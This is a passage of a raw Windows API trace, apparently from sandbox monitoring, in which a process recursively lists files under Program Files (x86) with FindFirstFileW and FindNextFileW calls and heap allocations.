nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0267.819] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9523afd3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9523afd3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9523afd3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0267.819] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8d39e400, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0267.819] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0267.819] GetProcessHeap () returned 0xc10000 [0267.819] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\images\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0267.820] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.820] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0267.820] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0267.820] GetProcessHeap () returned 0xc10000 [0267.820] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.820] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x289c4e60, ftCreationTime.dwHighDateTime=0x1d5bcc1, ftLastAccessTime.dwLowDateTime=0x419b2bc0, ftLastAccessTime.dwHighDateTime=0x1d5dfe9, ftLastWriteTime.dwLowDateTime=0x419b2bc0, ftLastWriteTime.dwHighDateTime=0x1d5dfe9, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt-flight.exe", cAlternateFileName="RT-FLI~1.EXE")) returned 1 [0267.820] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72e1af20, ftCreationTime.dwHighDateTime=0x1d5b6d5, ftLastAccessTime.dwLowDateTime=0x5e68fb80, ftLastAccessTime.dwHighDateTime=0x1d5a266, ftLastWriteTime.dwLowDateTime=0x5e68fb80, ftLastWriteTime.dwHighDateTime=0x1d5a266, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="SCRIPT~1.EXE")) returned 1 [0267.820] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0267.820] GetProcessHeap () returned 0xc10000 [0267.820] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0267.823] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.823] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c4430, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x971e5734, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x971e5734, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0267.823] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c4430, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x971e5734, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x971e5734, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0267.823] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0267.823] GetProcessHeap () returned 0xc10000 [0267.823] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.823] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0267.823] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0267.824] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0267.824] GetProcessHeap () returned 0xc10000 [0267.824] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0267.824] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe8bb89a3, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8bb89a3, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0267.824] GetProcessHeap () returned 0xc10000 [0267.824] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0267.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe8bb89a3, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8bb89a3, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0267.825] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc211eecb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe8bb89a3, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8bb89a3, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.825] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf02cc50, ftCreationTime.dwHighDateTime=0x1d5ca25, ftLastAccessTime.dwLowDateTime=0x5e6c4a00, ftLastAccessTime.dwHighDateTime=0x1d5a8c0, ftLastWriteTime.dwLowDateTime=0x5e6c4a00, ftLastWriteTime.dwHighDateTime=0x1d5a8c0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="filezilla.exe", cAlternateFileName="FILEZI~1.EXE")) returned 1 [0267.825] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x124bb9d0, ftCreationTime.dwHighDateTime=0x1d5832c, ftLastAccessTime.dwLowDateTime=0xe984cd80, ftLastAccessTime.dwHighDateTime=0x1d58609, ftLastWriteTime.dwLowDateTime=0xe984cd80, ftLastWriteTime.dwHighDateTime=0x1d58609, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="housing.exe", cAlternateFileName="")) returned 1 [0267.825] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x124bb9d0, ftCreationTime.dwHighDateTime=0x1d5832c, ftLastAccessTime.dwLowDateTime=0xe984cd80, ftLastAccessTime.dwHighDateTime=0x1d58609, ftLastWriteTime.dwLowDateTime=0xe984cd80, ftLastWriteTime.dwHighDateTime=0x1d58609, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="housing.exe", cAlternateFileName="")) returned 0 [0267.825] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0267.828] GetProcessHeap () returned 0xc10000 [0267.828] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0267.828] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0267.828] GetProcessHeap () returned 0xc10000 [0267.828] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0267.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0267.831] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8da8869, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8da8869, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.831] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7192d4d0, ftCreationTime.dwHighDateTime=0x1d566f0, ftLastAccessTime.dwLowDateTime=0x818056d0, ftLastAccessTime.dwHighDateTime=0x1d5dd0e, ftLastWriteTime.dwLowDateTime=0x818056d0, ftLastWriteTime.dwHighDateTime=0x1d5dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="clara_cancer.exe", cAlternateFileName="CLARA_~1.EXE")) returned 1 [0267.831] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd01d1990, ftCreationTime.dwHighDateTime=0x1d5a537, ftLastAccessTime.dwLowDateTime=0xb8201440, ftLastAccessTime.dwHighDateTime=0x1d5efca, ftLastWriteTime.dwLowDateTime=0xb8201440, ftLastWriteTime.dwHighDateTime=0x1d5efca, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0267.831] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0267.831] GetProcessHeap () returned 0xc10000 [0267.831] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.837] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xbc17eb24, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4adfea18, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.837] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1 [0267.838] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a238f8c, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x7a4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.mshtml.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0267.838] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a2ab773, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0267.838] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a402c44, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1 [0267.838] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae24be2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1 [0267.838] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae24be2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0 [0267.838] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0267.839] GetProcessHeap () returned 0xc10000 [0267.839] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.839] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0267.839] GetProcessHeap () returned 0xc10000 [0267.840] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0267.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0267.840] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.840] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9beb855b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9beb855b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9beb855b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="")) returned 1 [0267.840] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 1 [0267.840] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 0 [0267.841] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0267.841] GetProcessHeap () returned 0xc10000 [0267.841] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0267.841] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f450 | out: 